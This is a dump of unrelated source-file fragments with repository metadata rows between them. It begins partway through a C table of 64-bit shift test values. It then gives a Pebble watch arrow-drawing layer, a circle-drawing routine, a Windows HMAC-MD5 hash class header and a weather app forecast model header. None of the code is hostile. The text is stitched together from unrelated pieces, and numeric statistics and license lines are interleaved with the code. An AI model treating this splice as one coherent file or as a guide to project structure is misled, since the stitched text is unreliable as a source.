JSLL_INIT( 0x00000000, 0x00d8dfeb ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00d8dfeb ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x88040398, 0x00000000 ), // shift left 35 JSLL_INIT( 0x00000000, 0x006c6ff5 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x006c6ff5 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x10080730, 0x00000000 ), // shift left 36 JSLL_INIT( 0x00000000, 0x003637fa ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x003637fa ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x20100e60, 0x00000000 ), // shift left 37 JSLL_INIT( 0x00000000, 0x001b1bfd ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x001b1bfd ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x40201cc0, 0x00000000 ), // shift left 38 JSLL_INIT( 0x00000000, 0x000d8dfe ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000d8dfe ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x80403980, 0x00000000 ), // shift left 39 JSLL_INIT( 0x00000000, 0x0006c6ff ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0006c6ff ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x00807300, 0x00000000 ), // shift left 40 JSLL_INIT( 0x00000000, 0x0003637f ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0003637f ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0100e600, 0x00000000 ), // shift left 41 JSLL_INIT( 0x00000000, 0x0001b1bf ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0001b1bf ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0201cc00, 0x00000000 ), // shift left 42 JSLL_INIT( 0x00000000, 0x0000d8df ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000d8df ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x04039800, 0x00000000 ), // shift left 43 JSLL_INIT( 0x00000000, 0x00006c6f ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00006c6f ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x08073000, 0x00000000 ), // shift left 44 JSLL_INIT( 0x00000000, 0x00003637 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00003637 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x100e6000, 0x00000000 ), // shift left 45 JSLL_INIT( 0x00000000, 0x00001b1b ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00001b1b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x201cc000, 0x00000000 ), // shift left 46 JSLL_INIT( 0x00000000, 0x00000d8d ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000d8d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x40398000, 0x00000000 ), // shift left 47 JSLL_INIT( 0x00000000, 0x000006c6 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000006c6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x80730000, 0x00000000 ), // shift left 48 JSLL_INIT( 0x00000000, 0x00000363 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000363 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x00e60000, 0x00000000 ), // shift left 49 JSLL_INIT( 0x00000000, 0x000001b1 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000001b1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x01cc0000, 0x00000000 ), // shift left 50 JSLL_INIT( 0x00000000, 0x000000d8 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x000000d8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x03980000, 0x00000000 ), // shift left 51 JSLL_INIT( 0x00000000, 0x0000006c ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000006c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x07300000, 0x00000000 ), // shift left 52 JSLL_INIT( 0x00000000, 0x00000036 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000036 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0e600000, 0x00000000 ), // shift left 53 JSLL_INIT( 0x00000000, 0x0000001b ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000001b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1cc00000, 0x00000000 ), // shift left 54 JSLL_INIT( 0x00000000, 0x0000000d ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0000000d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x39800000, 0x00000000 ), // shift left 55 JSLL_INIT( 0x00000000, 0x00000006 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000006 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x73000000, 0x00000000 ), // shift left 56 JSLL_INIT( 0x00000000, 0x00000003 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000003 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe6000000, 0x00000000 ), // shift left 57 JSLL_INIT( 0x00000000, 0x00000001 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000001 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xcc000000, 0x00000000 ), // shift left 58 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x98000000, 0x00000000 ), // shift left 59 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x30000000, 0x00000000 ), // shift left 60 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x60000000, 0x00000000 ), // shift left 61 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc0000000, 0x00000000 ), // shift left 62 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x80000000, 0x00000000 ), // shift left 63 JSLL_INIT( 0x00000000, 0x00000000 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00000000 ) // shift right (arithmetic/signed) }, }, }, { JSLL_INIT( 0xd4a1216c, 0x4f471ef1 ), // record 3 { { JSLL_INIT( 0xa94242d8, 0x9e8e3de2 ), // shift left 1 JSLL_INIT( 0x6a5090b6, 0x27a38f78 ), // shift right (logical/unsigned) JSLL_INIT( 0xea5090b6, 0x27a38f78 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x528485b1, 0x3d1c7bc4 ), // shift left 2 JSLL_INIT( 0x3528485b, 0x13d1c7bc ), // shift right (logical/unsigned) JSLL_INIT( 0xf528485b, 0x13d1c7bc ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa5090b62, 0x7a38f788 ), // shift left 3 JSLL_INIT( 0x1a94242d, 0x89e8e3de ), // shift right (logical/unsigned) JSLL_INIT( 0xfa94242d, 0x89e8e3de ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x4a1216c4, 0xf471ef10 ), // shift left 4 JSLL_INIT( 0x0d4a1216, 0xc4f471ef ), // shift right (logical/unsigned) JSLL_INIT( 0xfd4a1216, 0xc4f471ef ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x94242d89, 0xe8e3de20 ), // shift left 5 JSLL_INIT( 0x06a5090b, 0x627a38f7 ), // shift right (logical/unsigned) JSLL_INIT( 0xfea5090b, 0x627a38f7 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x28485b13, 0xd1c7bc40 ), // shift left 6 JSLL_INIT( 0x03528485, 0xb13d1c7b ), // shift right (logical/unsigned) JSLL_INIT( 0xff528485, 0xb13d1c7b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5090b627, 0xa38f7880 ), // shift left 7 JSLL_INIT( 0x01a94242, 0xd89e8e3d ), // shift right (logical/unsigned) JSLL_INIT( 0xffa94242, 0xd89e8e3d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa1216c4f, 0x471ef100 ), // shift left 8 JSLL_INIT( 0x00d4a121, 0x6c4f471e ), // shift right (logical/unsigned) JSLL_INIT( 0xffd4a121, 0x6c4f471e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x4242d89e, 0x8e3de200 ), // shift left 9 JSLL_INIT( 0x006a5090, 0xb627a38f ), // shift right (logical/unsigned) JSLL_INIT( 0xffea5090, 0xb627a38f ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8485b13d, 0x1c7bc400 ), // shift left 10 JSLL_INIT( 0x00352848, 0x5b13d1c7 ), // shift right (logical/unsigned) JSLL_INIT( 0xfff52848, 0x5b13d1c7 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x090b627a, 0x38f78800 ), // shift left 11 JSLL_INIT( 0x001a9424, 0x2d89e8e3 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffa9424, 0x2d89e8e3 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1216c4f4, 0x71ef1000 ), // shift left 12 JSLL_INIT( 0x000d4a12, 0x16c4f471 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffd4a12, 0x16c4f471 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x242d89e8, 0xe3de2000 ), // shift left 13 JSLL_INIT( 0x0006a509, 0x0b627a38 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffea509, 0x0b627a38 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x485b13d1, 0xc7bc4000 ), // shift left 14 JSLL_INIT( 0x00035284, 0x85b13d1c ), // shift right (logical/unsigned) JSLL_INIT( 0xffff5284, 0x85b13d1c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x90b627a3, 0x8f788000 ), // shift left 15 JSLL_INIT( 0x0001a942, 0x42d89e8e ), // shift right (logical/unsigned) JSLL_INIT( 0xffffa942, 0x42d89e8e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x216c4f47, 0x1ef10000 ), // shift left 16 JSLL_INIT( 0x0000d4a1, 0x216c4f47 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffd4a1, 0x216c4f47 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x42d89e8e, 0x3de20000 ), // shift left 17 JSLL_INIT( 0x00006a50, 0x90b627a3 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffea50, 0x90b627a3 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x85b13d1c, 0x7bc40000 ), // shift left 18 JSLL_INIT( 0x00003528, 0x485b13d1 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffff528, 0x485b13d1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0b627a38, 0xf7880000 ), // shift left 19 JSLL_INIT( 0x00001a94, 0x242d89e8 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffa94, 0x242d89e8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x16c4f471, 0xef100000 ), // shift left 20 JSLL_INIT( 0x00000d4a, 0x1216c4f4 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffd4a, 0x1216c4f4 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x2d89e8e3, 0xde200000 ), // shift left 21 JSLL_INIT( 0x000006a5, 0x090b627a ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffea5, 0x090b627a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5b13d1c7, 0xbc400000 ), // shift left 22 JSLL_INIT( 0x00000352, 0x8485b13d ), // shift right (logical/unsigned) JSLL_INIT( 0xffffff52, 0x8485b13d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb627a38f, 0x78800000 ), // shift left 23 JSLL_INIT( 0x000001a9, 0x4242d89e ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffa9, 0x4242d89e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x6c4f471e, 0xf1000000 ), // shift left 24 JSLL_INIT( 0x000000d4, 0xa1216c4f ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffd4, 0xa1216c4f ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd89e8e3d, 0xe2000000 ), // shift left 25 JSLL_INIT( 0x0000006a, 0x5090b627 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffea, 0x5090b627 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb13d1c7b, 0xc4000000 ), // shift left 26 JSLL_INIT( 0x00000035, 0x28485b13 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffff5, 0x28485b13 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x627a38f7, 0x88000000 ), // shift left 27 JSLL_INIT( 0x0000001a, 0x94242d89 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffffa, 0x94242d89 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc4f471ef, 0x10000000 ), // shift left 28 JSLL_INIT( 0x0000000d, 0x4a1216c4 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffffd, 0x4a1216c4 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x89e8e3de, 0x20000000 ), // shift left 29 JSLL_INIT( 0x00000006, 0xa5090b62 ), // shift right (logical/unsigned) JSLL_INIT( 0xfffffffe, 0xa5090b62 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x13d1c7bc, 0x40000000 ), // shift left 30 JSLL_INIT( 0x00000003, 0x528485b1 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0x528485b1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x27a38f78, 0x80000000 ), // shift left 31 JSLL_INIT( 0x00000001, 0xa94242d8 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xa94242d8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x4f471ef1, 0x00000000 ), // shift left 32 JSLL_INIT( 0x00000000, 0xd4a1216c ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xd4a1216c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x9e8e3de2, 0x00000000 ), // shift left 33 JSLL_INIT( 0x00000000, 0x6a5090b6 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xea5090b6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x3d1c7bc4, 0x00000000 ), // shift left 34 JSLL_INIT( 0x00000000, 0x3528485b ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xf528485b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x7a38f788, 0x00000000 ), // shift left 35 JSLL_INIT( 0x00000000, 0x1a94242d ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfa94242d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xf471ef10, 0x00000000 ), // shift left 36 JSLL_INIT( 0x00000000, 0x0d4a1216 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfd4a1216 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe8e3de20, 0x00000000 ), // shift left 37 JSLL_INIT( 0x00000000, 0x06a5090b ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfea5090b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd1c7bc40, 0x00000000 ), // shift left 38 JSLL_INIT( 0x00000000, 0x03528485 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xff528485 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xa38f7880, 0x00000000 ), // shift left 39 JSLL_INIT( 0x00000000, 0x01a94242 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffa94242 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x471ef100, 0x00000000 ), // shift left 40 JSLL_INIT( 0x00000000, 0x00d4a121 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffd4a121 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8e3de200, 0x00000000 ), // shift left 41 JSLL_INIT( 0x00000000, 0x006a5090 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffea5090 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1c7bc400, 0x00000000 ), // shift left 42 JSLL_INIT( 0x00000000, 0x00352848 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfff52848 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x38f78800, 0x00000000 ), // shift left 43 JSLL_INIT( 0x00000000, 0x001a9424 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffa9424 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x71ef1000, 0x00000000 ), // shift left 44 JSLL_INIT( 0x00000000, 0x000d4a12 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffd4a12 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe3de2000, 0x00000000 ), // shift left 45 JSLL_INIT( 0x00000000, 0x0006a509 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffea509 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc7bc4000, 0x00000000 ), // shift left 46 JSLL_INIT( 0x00000000, 0x00035284 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffff5284 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x8f788000, 0x00000000 ), // shift left 47 JSLL_INIT( 0x00000000, 0x0001a942 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffa942 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x1ef10000, 0x00000000 ), // shift left 48 JSLL_INIT( 0x00000000, 0x0000d4a1 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffd4a1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x3de20000, 0x00000000 ), // shift left 49 JSLL_INIT( 0x00000000, 0x00006a50 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffea50 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x7bc40000, 0x00000000 ), // shift left 50 JSLL_INIT( 0x00000000, 0x00003528 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffff528 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xf7880000, 0x00000000 ), // shift left 51 JSLL_INIT( 0x00000000, 0x00001a94 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffa94 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xef100000, 0x00000000 ), // shift left 52 JSLL_INIT( 0x00000000, 0x00000d4a ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffd4a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xde200000, 0x00000000 ), // shift left 53 JSLL_INIT( 0x00000000, 0x000006a5 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffea5 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xbc400000, 0x00000000 ), // shift left 54 JSLL_INIT( 0x00000000, 0x00000352 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffff52 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x78800000, 0x00000000 ), // shift left 55 JSLL_INIT( 0x00000000, 0x000001a9 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffa9 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xf1000000, 0x00000000 ), // shift left 56 JSLL_INIT( 0x00000000, 0x000000d4 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffd4 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe2000000, 0x00000000 ), // shift left 57 JSLL_INIT( 0x00000000, 0x0000006a ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffea ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc4000000, 0x00000000 ), // shift left 58 JSLL_INIT( 0x00000000, 0x00000035 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffff5 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x88000000, 0x00000000 ), // shift left 59 JSLL_INIT( 0x00000000, 0x0000001a ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffffa ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x10000000, 0x00000000 ), // shift left 60 JSLL_INIT( 0x00000000, 0x0000000d ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffffd ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x20000000, 0x00000000 ), // shift left 61 JSLL_INIT( 0x00000000, 0x00000006 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xfffffffe ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x40000000, 0x00000000 ), // shift left 62 JSLL_INIT( 0x00000000, 0x00000003 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffff ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x80000000, 0x00000000 ), // shift left 63 JSLL_INIT( 0x00000000, 0x00000001 ), // shift right (logical/unsigned) JSLL_INIT( 0xffffffff, 0xffffffff ) // shift right (arithmetic/signed) }, }, }, };
49.833885
74
0.689119
79919fb3bfca4ee7cb474e4a4660cb577d173c29
3,307
c
C
src/libraries/arrow_layer.c
Grezzo/Pebble-Arrow-Library
3d101b770205a06b8d0f6e34b6ef953dae5e18e0
[ "Unlicense" ]
1
2016-08-21T02:46:54.000Z
2016-08-21T02:46:54.000Z
src/libraries/arrow_layer.c
Grezzo/Pebble-Arrow-Library
3d101b770205a06b8d0f6e34b6ef953dae5e18e0
[ "Unlicense" ]
null
null
null
src/libraries/arrow_layer.c
Grezzo/Pebble-Arrow-Library
3d101b770205a06b8d0f6e34b6ef953dae5e18e0
[ "Unlicense" ]
null
null
null
#include <pebble.h> #include "arrow_layer.h" typedef struct { int32_t angle; GColor color; bool filled; uint8_t stroke_width; } ArrowLayerProperties; typedef struct GPath ArrowPath; void arrow_layer_set_angle(ArrowLayer* arrow_layer, int32_t angle) { ArrowLayerProperties* properties = layer_get_data(arrow_layer); properties->angle = angle; layer_mark_dirty(arrow_layer); } void arrow_layer_set_color(ArrowLayer* arrow_layer, GColor color) { ArrowLayerProperties* properties = layer_get_data(arrow_layer); properties->color = color; layer_mark_dirty(arrow_layer); } void arrow_layer_set_filled(ArrowLayer* arrow_layer, bool filled) { ArrowLayerProperties* properties = layer_get_data(arrow_layer); properties->filled = filled; layer_mark_dirty(arrow_layer); } void arrow_layer_set_stroke_width(ArrowLayer* arrow_layer, uint8_t stroke_width) { ArrowLayerProperties* properties = layer_get_data(arrow_layer); properties->stroke_width = stroke_width; layer_mark_dirty(arrow_layer); } static ArrowPath *arrow_path_create(GPoint center, uint8_t radius, int32_t angle) { GPathInfo arrow_path_info = { 4, (GPoint []) { { radius * sin_lookup(angle) / TRIG_MAX_RATIO, -radius * cos_lookup(angle) / TRIG_MAX_RATIO }, { radius * sin_lookup(angle + TRIG_MAX_ANGLE * 0.375) / TRIG_MAX_RATIO, -radius * cos_lookup(angle + TRIG_MAX_ANGLE * 0.375) / TRIG_MAX_RATIO }, { 0, 0 }, { radius * sin_lookup(angle + TRIG_MAX_ANGLE * 0.625) / TRIG_MAX_RATIO, -radius * cos_lookup(angle + TRIG_MAX_ANGLE * 0.625) / TRIG_MAX_RATIO } } }; ArrowPath *arrow_path = gpath_create(&arrow_path_info); gpath_move_to(arrow_path, center); return arrow_path; } static void arrow_layer_update_proc(ArrowLayer *arrow_layer, GContext *ctx) { GRect bounds = layer_get_bounds(arrow_layer); GPoint center = {bounds.size.w / 2, bounds.size.h / 2}; uint8_t radius = bounds.size.w < bounds.size.h ? bounds.size.w / 2 - 1 : bounds.size.h / 2 - 1; ArrowLayerProperties* properties = (ArrowLayerProperties*) layer_get_data(arrow_layer); ArrowPath *arrow_path = arrow_path_create(center, radius, properties->angle); // Draw arrow graphics_context_set_stroke_width(ctx, properties->stroke_width); if (properties->filled) { graphics_context_set_fill_color(ctx, properties->color); gpath_draw_filled(ctx, arrow_path); } else { graphics_context_set_stroke_color(ctx, properties->color); gpath_draw_outline(ctx, arrow_path); } // Destroy arrow path gpath_destroy(arrow_path); } ArrowLayer *arrow_layer_create(GRect frame, int32_t angle, GColor color, bool filled, uint8_t stroke_width) { // Create layer ArrowLayer *arrow_layer = layer_create_with_data(frame, sizeof(ArrowLayerProperties)); // Set arrow layer properties ArrowLayerProperties* properties = (ArrowLayerProperties*) layer_get_data(arrow_layer); properties->angle = angle; properties->color = color; properties->filled = filled; properties->stroke_width = stroke_width; // Set update procedure layer_set_update_proc(arrow_layer, arrow_layer_update_proc); return arrow_layer; } void arrow_layer_destroy(ArrowLayer *arrow_layer) { layer_destroy(arrow_layer); }
32.742574
109
0.738434
5edc84bedbb613282b9858aef4ffa71b7224d2ac
786
c
C
DrawCircle.c
DrJosh9000/junk
f4e47a6d5729d4ae9ff4b3922cf7ac590fda5db8
[ "MIT", "Unlicense" ]
null
null
null
DrawCircle.c
DrJosh9000/junk
f4e47a6d5729d4ae9ff4b3922cf7ac590fda5db8
[ "MIT", "Unlicense" ]
null
null
null
DrawCircle.c
DrJosh9000/junk
f4e47a6d5729d4ae9ff4b3922cf7ac590fda5db8
[ "MIT", "Unlicense" ]
null
null
null
// The circle-drawing algorithm I came up with // in my first tutorial of KXT304 Computer Graphics & Animation unit // at Univerity of Tasmania, // lectured by Tony Gray. // Features one floating-point division, and no trig. /* * DrawCircle * Draws a circle, the set of points (x,y), satisfying * (x-h)^2 + (y-k)^2 = r^2 * for given parameters (h, k) (the centre) and r (radius). */ void DrawCircle(short h, short k, short r) { float rx; short x,y; rx = r; x = r; y = 0; do { plotPixel(h + x, k + y); plotPixel(h - x, k + y); plotPixel(h + x, k - y); plotPixel(h - x, k - y); plotPixel(h + y, k + x); plotPixel(h - y, k + x); plotPixel(h + y, k - x); plotPixel(h - y, k - x); rx -= (++y / rx); x = floor(rx + 0.5); } while (x >= y); }
20.684211
69
0.56743
5869fc271409ed98265715bd550987cd1fb3d335
1,224
h
C
net/ias/protocol/radius/hashhmac.h
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
net/ias/protocol/radius/hashhmac.h
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
net/ias/protocol/radius/hashhmac.h
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
//#-------------------------------------------------------------- // // File: hmachhash.h // // Synopsis: This file holds the declarations of the // CHmacMD5 class // // // History: 9/23/97 MKarki Created // // Copyright (C) 1997-98 Microsoft Corporation // All rights reserved. // //---------------------------------------------------------------- #ifndef _HMACHASH_H_ #define _HMACHASH_H_ #include "hash.h" class CHashHmacMD5 : public CHash { public: CHashHmacMD5(); virtual ~CHashHmacMD5(); BOOL HashIt ( /*[out]*/ PBYTE pbyAuthenticator, /*[in]*/ PBYTE pSharedSecret, /*[in]*/ DWORD dwSharedSecretSize, /*[in]*/ PBYTE pBuffer1, /*[in]*/ DWORD dwSize1, /*[in]*/ PBYTE pBuffer2, /*[in]*/ DWORD dwSize2, /*[in]*/ PBYTE pBuffer3, /*[in]*/ DWORD dwSize3, /*[in]*/ PBYTE pBuffer4, /*[in]*/ DWORD dwSize4, /*[in]*/ PBYTE pBuffer5, /*[in]*/ DWORD dwSize5 ); BOOL Init (VOID) {return (TRUE);}; }; #endif // ifndef _HMACHASH_H_
24.979592
67
0.431373
c774c95c63de850ef9abe539a3570dd03ee0fad0
847
h
C
YAWA/Models/YAWADayForecastItem.h
joshlapham/YAWA
85d933c39ea600a5965c2ab806b0f9a0f7172aba
[ "Beerware" ]
null
null
null
YAWA/Models/YAWADayForecastItem.h
joshlapham/YAWA
85d933c39ea600a5965c2ab806b0f9a0f7172aba
[ "Beerware" ]
null
null
null
YAWA/Models/YAWADayForecastItem.h
joshlapham/YAWA
85d933c39ea600a5965c2ab806b0f9a0f7172aba
[ "Beerware" ]
null
null
null
// // YAWADayForecastItem.h // YAWA // // Created by jl on 6/04/2014. // Copyright (c) 2014 Josh Lapham. All rights reserved. // #import <Foundation/Foundation.h> @interface YAWADayForecastItem : NSObject <NSCoding> @property (nonatomic, strong) NSString *dayOfWeek; @property (nonatomic, strong) NSString *shortDescString; @property (nonatomic, strong) NSString *longDescString; @property (nonatomic, strong) NSString *minString; @property (nonatomic, strong) NSString *maxString; @property (nonatomic, strong) NSString *cloudsString; @property (nonatomic, strong) NSString *iconToUse; - (id)initWithDay:(NSString *)dayName andShortDesc:(NSString *)shortDescToUse andLongDesc:(NSString *)longDescToUse andMinTemp:(NSString *)minTemp andMaxTemp:(NSString *)maxTemp andClouds:(NSString *)cloudAmount; @end
29.206897
56
0.737898
b5c2f3e8bfca764a8ebee8cf383684df1e782e5c
665
h
C
